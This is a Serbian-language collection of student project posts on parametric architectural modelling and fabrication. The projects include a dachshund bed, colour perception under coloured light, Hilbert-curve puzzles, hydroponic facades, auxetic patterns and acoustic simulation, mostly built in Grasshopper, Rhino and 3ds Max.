Zaključak: dok je forma u osnovi simetrična, moguće je napraviti strukturu koja će biti lako sklopljiva. U slučajevima kada se ta forma prebacuje na zakrivljenu površinu, dolazi do ograničenja u vidu sklopivosti, a kada se formi promene početni parametri tako da ne bude simetrije, dolazi do većih odstupanja.

 

Modelovanje i fabrikacija kućice za jazavičara – faza 3

Nastavak istraživanja različitih tipova waffle strukture, u cilju pronalaska najpovoljnijeg oblika celokupne kućice, kao i pojedinačnih elemenata za fabrikaciju. Nakon završetka i realizacije ovog istraživanja, drvenoj strukturi se kasnije dodaju ‘čičak’ trake na dnu, kako bi se ona povezala sa starom kućicom (tanka, mekana prostirka, malo veće osnove od osnove krovne strukture kako bi korisnik mogao da boravi i na i ispod nje).

   Manje uspešne opcije pre pronalaska finalnog oblika.

  Pronalazak 2 najpovoljnija rešenja – osnovna noseća konstrukcija krovnog pokrivača kućice je ista, dok se drugi sloj strukture razklikuje u veličini i obliku elemenata.

 Poređenje 2 finalna oblika na osnovu izgleda i profitabilnosti izrade. Opcija a) predstavlja čvršću strukturu, ali su dimenzije potrebne šperploče za izradu veće nego kod opcije b).

  Konačno je izabrana opcija a), sa zaključkom da su neznatno skuplji materijal i malo komplikovanija fabrikacija vredni oblika koji ova opcija donosi – kućica je čvršća, te postoje manje šanse da se slomi i time joj je životni vek duži nego opciji b).

piramida prioriteta    Piramida prioriteta pokazuje koji uslovi korisnika su u kojoj meri ispunjeni.                      Deo za žvakanje u konačnom rešenju predstavlja stara kućica, što nije apsolutno povoljno rešenje iz higijenskih razloga. Kuća jeste prenosiva od strane vlasnika korisnika, ali taj proces zahteva malo više vremena i truda (rasklapanje i pakovanje drvenih delova).

render 2 konacni  Finalni izgled cele nove kućice sa korisnikom u njoj.

Zaključak: da, moguće je projektovati i napraviti kvalitetan krevet za jednog psa jazavičara, ali se pritom ipak ne mogu 100% zadovoljiti sve njegove preferencije i potrebe.

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza III

U ovoj fazi istraživanja biće primenjene informacjie dobijene prethodnom fazom istraživanja na većem primeru. Kao predmet posmatranja uzet je objekat Georges Pompidou centar u Parizu zbog svog šarenolikog kolorita.

Pompidu

Pošto je u prethodnoj fazi istraživanja pokazano da je moguće promeniti boju predmeta koji se opaža, u ovoj fazi istraživanja vrednovaćemo ciljanu promenu boje predmeta koji se opaža. Kriterijum će biti korišćenje monohromatske svetlosti jedne boje na celom objektu u cilju postizanja određenog kolorita. Kao ciljani kolorit uzet je kolorit iz nasumično odabranog filma po sistemu sviđanja: Amélie (2001).

Amelie

Boja svetlosti potrebna za dobijanje predmeta boje kolorita filma dobijena je eksperimentalno.

pompidu_cmyk

 

Potrebno je primeniti žuto svetlo. Na žutom svetlu plava boja izgleda zeleno, a ostale boje se uklapaju u kolorit.

31_Pompidu Yellow105407220_3065826420129555_2511108701588603603_n

 

Render centra Georges Pompidou po danu, pod prirodnim osvetljenjem:

dnevni-min

 

Render centra Georges Pompidou po mraku sa dodatim izvorima svetla žute boje:

nocni

 

 Zaključak

Hipoteza da je moguće promeniti percepciju boje predmeta primenom adekvatnog osvetljenja je tačna, ali do neke mere. Moguće je promeniti boju predmeta samo u boje koje on sadrži. To znači da je moguće ljubičast predmet percipirati kao crven ili plav primenom crvenog ili plavog svetla respektivno jer se ljubičasta sastoji od crvene i plave, ali nije moguće percipirati ga kao zelenog pod bilo kojim osvetljenjem jer ljubičasta u sebi ne sadrži zelenu boju.

Na uspešnost promene boje predmeta osvetljenjem utiče i naša percepcija boje, što znači da je ona subjektivna. Predmeti bi trebali da budu različite boje pod različitim svetlostima jer se boja predmeta percipira kao svetlost koju predmet reflektuje. Međutim, mi predmete opažamo u određenoj boji, bez obzira na svetlost pod kojom se on nalazi, na osnovu našeg empirijskog znanja. Zbog toga postoji mogućnost da isti predmet različiti ljudi percipiraju u različitim bojama.

The_dress_blueblackwhitegold

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza II

Ispitivanje će se vršiti uz pomoć dve metode:

  1. Ispitivanje u software-u (V-ray i 3Ds max)
  2. Ispitivanje u okvirima realnosti pomoću LED svetala

 

Ispitavanje u V-ray-u

I)     Ispitivanje promene boje na predmetima osnovnih boja (crvena, zelena i plava,) pod izvorom monohromatske svetlosti.

rgb

Primećujemo da se pod svetlošću jedne boje vide samo predmeti koji su te boje, dok su ostali crni.


II)     Ispitivanje predmeta osnovnih boja pod izvorom svetlosti boje dobijene kombinacijom osnovnih boja (cyan, magenta, yellow).

cmyk

Primećuje se da se vide predmeti čija boja se sadrži u boji svetlosti.


 

III)     Ispitivanje predmeta obojenih u boje izvedene od osnovnih boja (cyan, magenta, yellow) pod svetlošću osnovnih boja.

cmyk_rgb

Primećujemo da se vide predmeti koji sadrže osnovnu boju kojom su obasjani.


IV)       Ispitivanje predmeta  obojenih u boje izvedene od osnovnih boja pod izvorima  svetlosti boja dobijenih kombinacijom osnovnih boja.

cmyk_cmyk

Primećujemo da se vide predmeti iste boje kao i boja svetlosti i predmeti koji sadrže boje od kojih je boja svetlosti sačinjena.


V)        Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorom monohromatske svetlosti osnovnih boja.

pompidu_rgb

Primećujemo da se vide predmeti koji sadrže osnovne boje boje svetlosti i to u onom intenzitetu u kom predmeti sadrže tu boju.


VI)     Ispitavenje predmeta koji sadrže sve tri osnovne boje pod izvorom svetlosti boja dobijenih kombinacijom osnovnih boja.

pompidu_cmyk

VII)      Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorima svetlosto koji takođe sadrže sve tri osnovne boje.

pompidu_pompidu

 

 

Ispitivanje pomoću LED svetla

Korićen je šablon sa nekim karakteristicnim bojama:

LED_Default

1. Nijanse sive

2. Cyan, Magenta i Yellow

3. Red, Green i Blue

4. Žuta, crvena, zelena i plava korišćene u prethodnom primeru u V-ray-u

5. i 6. Boja ljudske kože

7. Boja neba

8. Boja biljne vegetacije

 

Metodologija ispitivanja počinje kao i na prethodnom primeru: šablon se izlaže prvo dnevnoj svetlosti a zatim monohromatskim izvorima svetlosti crvene, zelene i plave boje respektivno.

LED_RGB

 

Ukoliko monohromatskoj svetlosti dodamo malo sekundarne monohromatske svetlosti druge boje, ta boja se opaža u slabom intenzitetu.

LED_nijanse plave

Ukoliko nastavimo da pojačavamo intenzitet sekundarne monohromatske svetlosti, pojačavaće se i intenzitet boje.

LED_Nijanse Zelene

 

 

 

ezgif-5-384d833829

Modelovanje slagalica na osnovu Hilbertove krive (Fractal Puzzles) – faza 3

Treća faza projekta odnosi se pravljenje delova slagalice.

Na Hilbertovu krivu koja je napravljen, primenjen je offset sa obe strane kako bi se dobila debljina samog dela slagalice. Taj veliki deo se može podeliti na više manjih i dobiti delovi koji ne moraju biti isti.

Na ostatak koji ostaje primenjuje se ista metoda gde dobijamo delove koji su tanji.

delovi 1 delovi 2

Nakon izrade, može se dobiti više varijacija slagalice u zavisnosti od toga koliko puta se multiplicirala sama kriva.

Kroz različite varijacije može se govoriti o samoj težini sklapanja. Kako je svaka slagalica podeljena na 5 delova, dobijaju se različite “veličine”, tj. delovi krive u sve 3 varijacije. Što je gušće, to su delovi sitiniji i deo krive je “veći”.

Kako bi se na najbolji način predstavila sama težina sklapanja slagalice, merilo se vreme sklapanja svake slagalice određenom broju ljudi. Svaki učesnik je kretao sa najgušćom slagalicom, a završavao sa najkrupnijom. Najbolje srednje vreme je bilo kod slagalice u sredini, oko 2min i 30s, dok je za sklapanje najgušće slagalice trebalo najviše vremena, srednje vreme 4min. Za najkrupniju slagalicu je srednje vreme bilo 3min i 40s.

U daljem razgovoru sa učesnicima, bila su podeljena mišljenja, gde je polovina njih rekla da je najteža prva, a polovina njih treća slagalica.

 

Faza 3 – Modelovanje hidroponicke fasade primenom teselacije

-menjanje na osnovu parametara – fasada ima dosta varijacija koje su modularne i mogu da se menjaju na osnovu sirine, duzine biljke, kolicine otvora(procentualna popunjenost), mogu da se naprave izmene i na osnovu “seeda”
-diskusija o rezultatima –
-da li je hipoteza bila tacna – za sad deluje da je hipoteza tacna, ali jos nije dokazano dok se ne izradi

Faza 2: uporedna analiza parametara opisanih u prethodnoj fazi, na primeru flašice

U ovoj fazi istraživanja, fotografisana je flašica ispred bele pozadine, na dnevnom osvetljenju sa sledećim podešavanjima kamere:

NIKON D3100, 1/60 f4, exp mode, ISO 800, focal lenght 55mm, lens 55-200mm/ 4-5.6.

Ista podešavanja kamere su uvedena u program 3Ds Max.

FLASICAAA

Na ovom primeru, uviđam da se istim podešavanjem kamere i virtualne kamere ne dobija željeni efekat fotorealizma i razlika između fotografije i rendera je veoma uočljiva. Potrebno raditi na adekvatnom podešavanju svetla, dodatnoj postavci kamere i eventualnoj postprodukciji, kako bi rezultat bio bolji, a render verodostojniji fotografiji.

Takođe, dodatni korak u sledećoj fazi istraživanja nije samo upoređivanje parametara kamere i virtuelne kamere, već i diskusija o prednostima i manama izrade digitalne makete.

 

 

Faza 2 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

Model napravljen u rhino+grasshopper jasno pokazuje da je uz pomoć oštrog  i upravnog osvetljenja moguće dobiti željenu sliku.

Fabrikacija ovakvog modela moguća je SLS metodom kao što su to već radili Drzach i Suchi. Mana ove metode je visoka cena izrade. Jeftinija varijanta bi bila FDM štampa ali ona je u ovom slučaju neizvodljiva zbog veoma tankih segmenata.

Zaključak je da je najoptimalnija metoda izrade SLA štampa kojom je moguće napraviti ovako kompleksan model i uz to je jeftinija od SLS metode.

Dobijanje različitih senki iz modela:

post1      —–>              post

 

 

 

yin-yang                             ——>               jing

 

 

Kod slozenijih slika primećuju se nesavršenosti pri verodostojnom projektovanju senke što znači da kod ima još prostora za unapređivanje.

 

Faza 2- izrada kalupa za sveću primenom parametarskog modelovanja

Početak modelovanja sveće rotiranjem, skaliranjem i dupliciranjem elipse po vertikalnoj osi. Elipse se spajaju pomoću alatke populate geometry u Grasshopper-u. Ovom metodom dobijamo sveću interesantne geometrije sa reljefom.

Tutorijal koji je poslužio kao inspiracija:

2020-29 LTH Tutorials: Simple Organic Shortest-Walk Patterns (Grasshopper) (youtube.com)

Kod u Grasshopper-u:

1 2

 

3D model finalne i probne verzije:

3d

Pre 3D štampanja finalnog izgleda sveće potrebno je ištampati manju verziju kako bismo se uverili da je moguće napraviti funkcionalan kalup

proba

 

izlivena probna sveća (levo) i  3d ištampana forma za kalup (desno)

Kada smo utvdili da je detaljnost probne sveće zadovoljavajuća, možemo štampati i finalnu verziju.

 

 

Docarati prostor Metropolitan church

Screenshot 2024-04-13 1450372222

 

U ovoj fazi sam modelovao kenotaf u 3ds maxu i napravio vizual sa kamerom koja slika 360 stepeni. Vizual sa pogledom od 360 stepeni sam prebacio na telefon i ubacio ga u VR headset i pomocu aplikacije, vr player, sam uspeo da docaram velicinu prostora u kenotafu.

*Ažurirani projekat/avgust 2024.

Pošto nisam stigao u prvom roku da završim do kraja rad, počeo sam da radim na drugom objektu.  Zadržao sam isti koncept i ideju istraživanja monumentalnih prostora. Novi objekat je bio Metropolitan Church, takođe delo Luja Bulea. Detaljno sam modelovao enterijer i eksterijer objekta kako bih na što bolji način prikazao prostor. Cilj istraživanja ostao je isti – prenos impresije veličine i monumentalnosti prostora kroz precizno modelovanje i vizualizaciju 360°. U prilogu ispod su prikazani prvi probni renderi.

2

prvi probni

 

 

Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA1

Ispitivanje započinjemo tako što ćemo prvo simulirati prostiranje zvuka u praznoj prostoriji dimenzija 5×10 m, visine 3m. Uz pomoć Grasshopper-a i plugin-a Pachyderm acoustics, prvo treba da postavimo zvučne izvore i da stvorimo simulaciju zvukova u prostoriji, a u idealnom slučaju dalje istraživanje nalaže da izačunamo vrednost odbijenog zvuka i zabeležimo brojčane iznose koji predstavljaju visinu frekvencije.

Nakon ispitivanja na bazičnoj prostoriji, preći ćemo na ispitivanje unutar hola FTN-a.

1. Simulacija zvuka na jednostavnom primeru:

 

Možemo primetiti kako se boja čestica (koje prezentuju rasprašivanje zvuka) menja, kako pomeramo brojčani parametar, što ukazuje na njihovo odbijanje o zidove, razredjivanje i slabljenje. Emitovanje zvuka počinje od izvora istog, što nam je u ovom slučaju jedna tačka u prostoriji.

2. Nakon simulacije samog zvuka, radimo kalkulaciju istog na primeru prostorije istih gabarita.

calculating sound u kutiji

U ovom slučaju imamo izvor(tačka 1) i prijemnika (tačka 2). U žutoj tzabeli dobijamo brojčane vrednosti koje predstavljaju vreme reverberacije, poređane od najniže frekvencije do najviše. Vreme reverberacije je, po definiciji, ono vreme koje je potrebno da intenzitet zvuka u prostoriji opadne na svoj milioniti deo.

 

Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – II faza

U drugoj fazi projekta oprobana su 2 principa modelovanja nosača nadstrešnice, jedan koji se grana dvodimenzionalno i drugi trodimenzionalno. Oba su rađena u Grasshopperu, jedan pomoću Shortest walk plugina, drugi pomoću Rabbit plugina.

1. Dvodimenzionalno projektovanje nosača

Formiranjem plane-a na kom postavljamo jednu startnu tačku i na ivicu plane-a četiri završne tačke, formiramo pravolinijske putanje kojim će se pružiti štapovi nosača. U okviru Grasshoppera za to nam pomaže plugin Shortest walk.

materijal11Postavljanjem nasumičnih tačaka po plane-u dodajemo krivine putanjama štapova, kako bi ličile na prirodan proces grananja. Ubacujemo i nepravilne elipse kako bismo dodatno promenili putanju, to podešavamo tako da tačke u okviru elipsi nisu uključene u putanju. Debljinu konstrukciji dajemo putem opcije Multipipe.

materijal44

kod 2D oslonca

2. Trodimenzionalno projektovanje nosača

Korišćenjem L sistema, gde se od jedne grane prave dve između kojih je 45º, formiramo trodimenzionalni nosač. U tome nam pomaže LSystem opcija u okviru Rabbit plugina.

materijal

Dajemo debljinu konstrukciji tako što počinjemo od okruglastog prečnika i pravimo cevaste štapove. Za to koristimo Turtle opciju, u okviru koje postoji Tube setting – podešavanje cevi L sistema.

materijal2

screenshot koda

Modelovanje samonosive zakrivljene strukture faza 2

Testiran je postupak modelovanja samonosive strukture koja se sastoji iz kombinacije elemenata opterećenih samo na pritisak i uzdignutih prstenova opterećenih na zatezanje. Pri izvođenju ovakve strukture, presecanjem zateznih traka, gubi se ravnoteža i struktura se ruši.


 Testiranje forme:

Postupak:

  • Najpre se definiše baza strukture-kriva koja će činiti oslonac, i kriva koja će činiti zateznu traku.
  • Od zadatih krivi formira se prvo površ,a zatim mesh. Isprobano je više varijanti formiranja površi i mesha, od trouglova i četvorouglova, različitog pravca pružanja. Potrebno je dodatno ispitati koji metod bi bio najbolji za ostvarivanje željenog efekta.
  • Definisane su krive kao oslonci, gde jedna nema mogućnost pomeranja, dok druga ima mogućnost pomeranja po Z osi.
  • Primenjeni su alati koji simuliraju zakone fizike kako bi se struktura izdigla u 3D prostor.
  1. Primer sa jednim osloncem i četvorougaonim meshom.

3

 

2. Primer sa dva oslonca i četvorougaonim meshom.

2

3. Primer sa dva oslonca i četvorougaonim meshom sa dijagonalnim pravcem pružanja.

1

 

Pronalazak metoda za izvođenje:

Postupak:

  • U tačkama mesh-a postavljene su sfere određenog prečnika.
  • Urađeno je presecanje mesh-a sferema.
  • Na dobijenim isečcima urađen je MultiPipe kako bi se dobile spojnice.
  • Postavljena je još jedna grupa sfera takođe u tačkama mesh-a ali manjih dimenzija od prvobitnih.
  • Urađen je SolidDifference cele strukture i drugih sfera kako bi se dobili štapići koji ulaze u spojnice.
  • Na spojnicama je urađen zatim offset kako bi dobile debljinu.
  • Radi bolje estetike urađeno je Catmull-Clark zakrivljivanje.

 

Primer primene postupka:

Screenshot_5

Screenshot_6

 

Primenjeni alati: Rhino, Grasshopper, Kangaroo

 

Poređenje modelovanih rendera i AI rendera, faza 2

Renderi rađeni u 3ds max-u i Coroni, cilj je doći do sličnih rezultata za kraći period rada.

IMG_9670novo kup

 

Glavna informacija za AI rendere je linijski crtež iz SketchUp-a uz tekstualna objašnjenja.

 

 

plavo 2 mala

Renderi rađeni u Fabrie AI: https://www.fabrie.com/

462164 463409 964103

Renderi rađeni u LookX AI:  https://www.lookx.ai/

unknown

 

Na sajtu LookX AI  postoji mogućnost generisanja rendera sa dodatnim referentnim slikama što dodatno olakšava dolazak do krajnjeg rezultata.

 

Faza 2 – Modelovanje hidroponske fasade primenom tesalacije

 

Pristup

Odabrala sam da se bavim dizajnom panela hidroponske fasade. Tokom istraživanja tražen je idealan oblik koji bi mogao biti uzet za modul. Prvi izbor je bio Voronoi ćelija, međutim taj oblik se pokazao komplikovan za izradu. Takođe, kada se radilo o osunčanosti, opet se javio problem izrade nadstrešnice koja prati neki modul. Za rešavavanje tih problema odlučila sam da koristim trougaonu tesalaciju zbog modularnosti koja bi omogućila jeftiniju izradu panela i učinila hodroponski način uzgoja biljaka pristupačniji prosečnom čoveku. Odabrane su tri biljke koje će se primeniti na fasadi na osnovu njihovih dimenzija i potreba za osunčanošću.

Zatim su dimenzije biljaka unete u algoritam u grasshopperu čime su dobijene tri varijacije otvora za biljke na trougaonim panelima.

šema slaganja modula
šema slaganja modula

Promenom parametara u grasshopperu omogućeno je uticanje na broj otvora i zauzetost fasade.

 

v1 (1) v1 (2)

seed 33

seed 66
varijacije fasade nastale promenom parametara

 

Anamorfna fasada- modelovanje i vizualizacija -faza II

U ovoj fazi sam prvo pretpostavila jedan izvor svetlosti, koji bi bacao senku cilindrične geometrije, gde bi slika koja se dobije bila formirana od osvetljenog dela gde se senka završava i od drugog dela koji je pod senkom, i tako dobijem celu sliku koju sam pretpostavila.

rezultat:

COMI MACA

-kod ovog rešenja kombinovanja senke i svetlosti mi se ne sviđa sto se ne vidi jasno zeljena slika, te sam u drugoj opciji probala da dobijem konture pretpostavljene slike samo formiranjem spoljasnje linije slike linijom gde se senka završava.

rezultat:

MACA 2

-trebalo bi poraditi na ostrini senke koja se dobije, ili dodavanjem jos cilindrične geometrije, ili menjanjem izvora svetlosti.

ideja: napraviti komplikovaniju sliku sa više od dva izvora osvetljenja

 

 

 

 

 

 

 

Faza 2 – Modelovanje hidroponicke fasade primenom teselacije

-elementi prakticne primene neke metode – slika quadrilateralne tesselacije
-pristup – tokom istrazivanja smo trazili idealan oblik koji bi mogli da uzmemo za modul, trebao nam je oblik koji bi mogao da se stavi na ravnu ili krivu fasadu, prvi izbor je bio Voronoi celija ali ubrzo smo odustali od te ideje zato sto je tesko napraviti modul od voronoi celije, ujedno kada smo dosli do problema oko osuncanosti opet se javio problem kako napraviti nadstresnicu a da prati neki modul, na kraju smo se odlucili za quadrilateralnu teselaciju koja je resila sve navedene probleme, ovo resenje je dovelo do toga da na fasadu mogu da se stave 3 razlicite biljke u razlicitim polozajima sa razlicitom velicinom
SEMA SLAGANJA MODULA

Istraživanje auxetic materijala: Analiza transformacije bistabilnog heksagonalnog šablona, FAZA 2 – Kreiranje šablona u Grasshopper-u

1. Uvod

U drugoj fazi istraživanja, fokus je bio na postavljanju osnovne geometrije i kreiranju bistable auxetic šablona koristeći Grasshopper, dodatak za Rhinoceros 3D. Cilj je bio da se dobije osnovni šablon (onaj koji ostaje ravan nakon širenja), kao i kasnije uvođenje atraktor tačaka koje će uticati na parametre i usložnjavanje strukture.

2. Postavljanje polazne geometrije

Kreiranje šablona započeto je postavljanjem mreže trouglova, jer je osnovna heksagonalna jedinica podeljena na trouglove. Uočeno je da postoje dve vrste trouglova, zbog čega su oni razvrstani u dve liste. Svaki dalji korak primenjen na jedan set trouglova, primenjen je identično na drugi set, uz neophodno “flipovanje” krivih.

1-dispatch i explode 1

3. Kreiranje šablona

  1. Razbijanje trouglova na linije (Explode)
  2. Definisanje tačaka za dobijanje linija koje će obrazovati šablon (Evaluate curve):
    • Početne tačke
    • Krajnje tačke (Ugao theta definisan je posredno preko položaja ovih tačaka!)
  3. Razvrstavanje dobijenih tačaka (List Item):
    • Dobijene tačke su razvrstane u po tri odgovarajuće liste: tri liste početnih tačaka i tri liste krajnjih tačaka, u odnosu na to na kojoj stranici trougla se nalaze.

2-evaluatecrv i list item

4. Povezivanje odgovarajućih lista (Line):

    • Treba voditi računa o tome koju tačku sa kojom treba povezati; dobijena su tri seta potrebnih linija koje obrazuju šablon.

3-base line-definise t i theta

5. Skraćivanje linija:

    • Bilo je potrebno skratiti linije tako da se međusobno ne presecaju, formirajući mali zglob oko kojeg će se rotirati mali trougao.

4- ccx i shatter

Ovi koraci su primenjeni i na drugi set trouglova na odgovarajući način.

5-drugi set linija

Različite varijacije šablona:

parametri_varijacije sablona_0

4. Uvođenje Atraktor Tačaka

  1. Definisanje atraktor tačaka
  2. Remapiranje rastojanja atraktor tačaka do sredina stranica trouglova u vrednosti parametara t i theta
  3. Usklađivanje ivica:
    • Korišćena je alatka “Closest Point”, kako bi remapirane vrednosti mogle da se uvrste tako da se ivice šablona spajaju u odgovarajućim tačkama

closest point resenje

 

5. Zaključak

Na kraju ove faze istraživanja dobijeno je zadovoljavajuće rešenje. Kod je bio spreman za testiranje i mogao se koristiti za štampanje šablona koji će kasnije biti sečeni od papira.

 

Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza II

Daljim istraživanjem analizirala sam osunčanost objekta tokom sva četiri godišnja doba, za vreme prolećne i jesenje ravnodnevnice, letnje dugodnevnice i zimske kratkodnevnice u 12h. Ugao zraka za geografski položaj Novog Sada izgleda ovako:

Proleće i jesen- upadni ugao približno 45°

Leto- upadni ugao približno 68°

Zima – upadni ugao približno 21°

 

zraci

Slikoviti prikaz se može dobiti u Sketchup programu uz postavljanje odovarajućih parametara.

3d prikaz

Zaključila sam da sunčevi zraci dolaze do objekta samo leti i to ne u potpunosti. Idealni zrak nakon prelamanja o optičko telo bi trebalo da zaklapa ugao približno 77° sa horizontalnicom kako bi obasjao ceo objekat.

Layout2

Preostaje pitanje kakvo optičko telo bi moglo da prelomi zrak na ovaj način, a da mu je oblik pogodan za rotaciju i da ne kvari izgled objekta. Proučavanjem optike i optičkih tela, došla sam do pretpostavke da će najviše odgovarati postavka sfernog sočiva napravljenog od stakla, sa indeksom refrakcije 1,5. Ovu pretpostavku sam analizirala u aplikaciji Ray Optics Simulation koja simulira zakone optike.

KORAK 1: Odabir vrste optičkog tela i nameštanje oblika

ray simulator 1

 

KORAK 2: Odabir zraka

ray simulator 2jpg

 

KORAK 3: Postavljanje zraka približno pod 45 stepeni i analiza prelomaray simulator 3

 

 

 

KORAK 4: Analiziranje promene situacije uz smanjenje i povećanje indeksa refrakcije

Smanjenjem indeksa refrakcije ugao prelamanja se povećava, što ne doprinosi našem cilju

ray simulator 4

 

Povećanje indeksa refrakcije rezultuje odbijanjem zraka u samom telu i preusmerenje najveće količine zraka na istu stranu gde se nalazi izvorni zrak, što takođe ne doprinosi našem cilju.ray simulator 5

ZAKLJUČAK:

Simulacija dobijena sa sfernim sočivom od stakla sa indeksom refrakcije 1.5 je najpribližnije rešenju problema, što će dalje da se analizira u programima 3ds Max i Sketchup prilikom Vray renderovanja.

 

https://phydemo.app/ray-optics/simulator/

 

 

 

Modelovanje i fabrikacija kućice za jazavičara – faza 2

Modelovanje čvrste rasklopljive strukture kućice za psa korišćenjem programa Rhino 7. Potraga za što boljim rešenjem za profitabilniji i lakši proces fabrikacije.Analiza daljih zahteva korisnika i mogućih rešenja strukture.

2 1                                                                          Kvadar predstavlja potrebne dimenzije za nesmotreno korišćenje. Krive zadaju osnovni oblik konstrukcije.

3 4 5Isprobani različiti tipovi waffle strukture, u cilju pronalaska najpovoljnijeg oblika elemenata za fabrikaciju koji zadovoljavaju zadate uslove.

6 7 8Različita gustina elemenata je uvedena radi različitog osvetljenja u enterijeru kućice.

9 10                                                      Postavljeni su uslovi i ideje za usavršavanje oblika i dodavanje elemenata radi pronalaska savršenog izgleda kućice (podloga od tkanine ispod čvrste strukture, ideja o rotiranju čvrstih elemenata radi lakše izrade).

Modelovanje maske za telefon

Proces modelovanja maske za telefon sa elementom za dodatne stvari na povrsini izucavala sam na sledeci nacin. Potrebno je bilo da se kreira povrsina odredjenog zakrivljnog oblika i debljine. Gledala sam razlicite maske za telefone i njihove dimenzije koje sam uporedila sa predmetima koji trebaju da se nalaze na samoj njenoj povrsini.

Prvo sam isprobavala da obicnu povrsinu deformisem da njene razlicite oblike dobijem time sto cu povrs podeliti na veliki broj tacaka koje bi mogle da menjaju svju poziciju i tako da formiraju razlicite oblike. Onda sam kreirala i sam oblik maske primera za telefon iphone i konvertovala tu masku u povrsinu koja takodje pomeranjem tacaka dobija razlicite ispupcene oblike i menja debljinu maske. U ovom procesu je losa strana ta sto se taj oblik povrsine ne bi menjao na osnovu nekog predmeta koji se na nju nasloni nego bi proizvoljno na osnovu tacaka ne toliko precizno menjao oblik. Time bi neophodno bilo da se isprobavaju razlicite mnoge varijacije koje bi morale da se analiziraju, da li uopste mogu da drze predmet, da li su adekvatne za drzanje u ruci i kako bi maska mogla da stane nekome u dzep.

1

 

Drugi proces proucavanja je tekao na sledeci nacin. Kreirala sam povrsinu koja prilikom podesavanja odredjenih parametara zadobija osobine “balona”, tacnije prilikom aktivacije komande naduvava svoju povrsinu i dodaje joj proizvoljnu debljinu i menja oblik povrsine. Na tu povrsinu ciji oblik menjamo naduvavanjem potrebno je postaviti predmet koji zelimo da se nosi na samoj masci. Postavkom predmeta i aktivacijom komande stvara se zeljeni oblik maske oko predmeta koji je postavljen. Prilikom podesavanja mozemo da korigujemo visinu naduvanosti maske i njenu debljinu i oblik pod kojim bi se predmet drzao na povrsini i bio adekvatan za samu ljudsku ruku. U ovom procesu bi se takodje morale izvesti razne analize kako bi se videlo da li bi gotov predmet zadovoljavao odredjene postavljene parametre da bi proizvod imao najbolju funkciju.

anino slika

Da li je patent dovoljno usavrsen kako bi zadovoljio zadate parametre

svakodnevno koriscenje

drzanje u ruci

drzanje samog predmeta koji je zadat

materijal koriscen za masku

da li je materijal dovoljno fleksibilan da zadrzi i dobije zeljeni oblik

da li bi dolazilo do ostecena povrsine pri koriscenju maske

Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – razvijanje geometrije

Na pocetku istrazivanja sam se bavila modelovanjem obicne šolje.

slikaaaa

Zatim sam počela modelovanje šolje u obliku Groot-a. Prvo sam ubacila sliku u 3ds Max-u na osnovu koje sam je modelovala.

groot

Zatim sam linijski isrtala samo jednu polovinu njegovog lica i na osnovu toga napravila šolju.

SLIKA5SLIKA6

Potom sam se bavila gornjim delom šolje tj. njegovom glavom i napravila neravnine.

SLIKA7

S obzirom da šolja ne moze da stoji ako ima ovako usko dno, donji deo sam uklonila i napravila da ona ustvari bude stabilna.

SLIKA3

Zatim sam se bavila neravninama na samoj šolji.

SLIKA4

SLIKA8

 

Vizuelizacija portreta String artom – Faza 2

Pristup rješavanju problema:

Kada odaberemo portret poznate ličnosti, treba da postavimo optimalan broj tačaka koje će se povezivati u strune. Koncept programa funkcioniše na način da treba da odaberemo koliki će biti broj tamnijih tačaka, odnosno njihovo rastojanje, i to isto i za svjetlije tačke. Nakon toga, treba da pustimo da se određen broj tačaka povezuje u strune. Na taj način možemo odrediti koja je najbolja opcija za inicijalno postavljanje tačaka na fotografiji, kako bi sa što manje njihovih povezivanja uspjeli prepoznati ličnost. U daljem istraživanju, pokušaćemo sa što više portreta i podešavanjem  tačaka, da vidimo koji je najbolji način za njihov raspored, kako bi došli do željenog cilja.

deo koda
kod u grashopperu

 

 

Modelovanje auxetic navlaka za torbe i/ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih- Faza 2

Druga faza projekta odnosila se na izbor paterna koji će nam poslužiti prilikom izrade probnog uzorka auxetic navlake i  njegovog formiranja i pripreme za lasersko sečenje u Grasshopper i Rhino programu.

Prvenstveno smo izabrali komponentu pod nazivom ,,TriGrid”- koji se sastoji od 2D trougaonih ćelija, i definisali do kojih se granica njegova veličina i broj ćelija kreću.

TriGrid-Triangular Grid ( 2D mreža sa trougaonim ćelijama)

Zatim smo ovoj mreži dodali komonentu Crv ( Curve), kako bi izdvojili linije,  potom Explode, kako bi odvojili krive,   komponentu Item – kako bi imali listu svih izdvojenih krivi, i konačno, DupPt (Remove Duplicate Points)- komponentu koja uklanja duplirane vertekse,  nastale usled Explode komponente i odvajanja krivih. Prethodno pomenute komponente smo iskoristili kako bi došli do pojedinačnih verteksa, odnosno, temena trouglova koji čine TriGrid mrežu i koji će nam kasnije poslužiti za izradu izabranog paterna.

Izdvajanje verteksa kako bi kasnije formirali arkuse (Arc) oko svakog

Nakon toga smo odabrali u kojoj ravni i po kojim koordinatama (XY plane komponenta) i pod kojim uglom ( Degree komponenta – koju kasnije pretvaramo iz Dekartovog u Polarni koordinanti sistem (Rad)) će se delovi kružnice (Arc komponenta) formirati oko ranije pomenutih temena trouglova. Dodajemo Neg ( Negative) komponentu kako bi dobili isti oblik kao na izabranom paternu. Na kraju smo dodali komponentu Polar Array                      (ArrPolar),  kako bi sa sve tri strane formirali arkuse.

Formiranje delova kružnice (Arc) oko svakog verteksa
arrpol
Array Polar- formiranje arkusa sa tri strane verteksa

Na osnovu izabranog paterna, možemo primetiti da će budući materijal biti isečen po delovima kružnice- Arkusima (Arc). Kako bismo izbegli nepravilno širenje/ skupljanje, ili neke druge probleme deformacija materijala, definisali smo određene parametre i proveravali do kojih granica se ti parametri mogu menjati ( kao što je na primer, dužina Arc-usa, ili njihova međusobna udaljenost ), a da ne dođe do međusobnog preklapanja ili sečenja linija Arcusa.

Nepromenjeni parametri dimenzija arkusa
Promenjeni parametri dimenzija arkusa

